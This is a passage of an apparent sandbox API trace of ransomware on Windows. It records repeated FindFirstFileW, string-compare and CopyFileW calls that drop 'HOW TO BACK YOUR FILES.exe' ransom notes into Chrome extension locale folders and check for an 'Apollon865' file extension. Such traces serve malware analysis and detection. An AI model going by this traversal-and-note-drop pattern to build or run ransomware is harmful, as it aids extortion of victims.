	[0048.430] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\th\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fc6680, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34f09ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34f09ff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.430] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.430] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.430] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.430] lstrlenW (lpString="messages.json") returned 13
	[0048.430] lstrlenW (lpString="Apollon865") returned 10
	[0048.430] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.430] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te"
	[0048.430] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb598 | out: hHeap=0x580000) returned 1
	[0048.430] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afe88 | out: hHeap=0x580000) returned 1
	[0048.430] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te") returned 137
	[0048.430] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te"
	[0048.430] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.430] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.434] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.434] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\te\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34f09ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34f09ff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.434] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.434] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.434] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.434] lstrlenW (lpString="messages.json") returned 13
	[0048.434] lstrlenW (lpString="Apollon865") returned 10
	[0048.434] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.435] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta"
	[0048.435] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb470 | out: hHeap=0x580000) returned 1
	[0048.435] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afe68 | out: hHeap=0x580000) returned 1
	[0048.435] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta") returned 137
	[0048.435] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta"
	[0048.435] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.435] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.439] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.439] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ta\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34f09ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34f09ff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.440] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.440] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.440] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.440] lstrlenW (lpString="messages.json") returned 13
	[0048.440] lstrlenW (lpString="Apollon865") returned 10
	[0048.440] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.440] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw"
	[0048.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb348 | out: hHeap=0x580000) returned 1
	[0048.440] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afe48 | out: hHeap=0x580000) returned 1
	[0048.440] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw") returned 137
	[0048.440] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw"
	[0048.440] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.440] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.444] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.444] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34f30150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34f30150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.444] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.444] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.444] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.444] lstrlenW (lpString="messages.json") returned 13
	[0048.444] lstrlenW (lpString="Apollon865") returned 10
	[0048.444] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.444] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv"
	[0048.444] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb220 | out: hHeap=0x580000) returned 1
	[0048.444] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afe28 | out: hHeap=0x580000) returned 1
	[0048.444] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv") returned 137
	[0048.444] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv"
	[0048.444] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.444] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.449] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.449] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34f30150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34f30150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.449] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.449] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.449] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.449] lstrlenW (lpString="messages.json") returned 13
	[0048.449] lstrlenW (lpString="Apollon865") returned 10
	[0048.449] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.450] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr"
	[0048.450] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb0f8 | out: hHeap=0x580000) returned 1
	[0048.450] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afe08 | out: hHeap=0x580000) returned 1
	[0048.450] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr") returned 137
	[0048.450] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr"
	[0048.450] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.450] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.454] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.454] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fa0520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34f30150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34f30150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.454] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.454] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.454] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.454] lstrlenW (lpString="messages.json") returned 13
	[0048.454] lstrlenW (lpString="Apollon865") returned 10
	[0048.454] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.454] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl"
	[0048.454] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafd0 | out: hHeap=0x580000) returned 1
	[0048.454] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afde8 | out: hHeap=0x580000) returned 1
	[0048.454] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl") returned 137
	[0048.454] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl"
	[0048.454] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.455] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.459] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.459] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f7a3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34f562b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34f562b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.459] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.459] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.459] lstrcpyW (in: lpString1=0x2d3e664, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0048.459] lstrlenW (lpString="messages.json") returned 13
	[0048.459] lstrlenW (lpString="Apollon865") returned 10
	[0048.459] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0048.459] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk"
	[0048.459] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b46f8 | out: hHeap=0x580000) returned 1
	[0048.459] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afdc8 | out: hHeap=0x580000) returned 1
	[0048.459] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk") returned 137
	[0048.459] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk"
	[0048.459] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
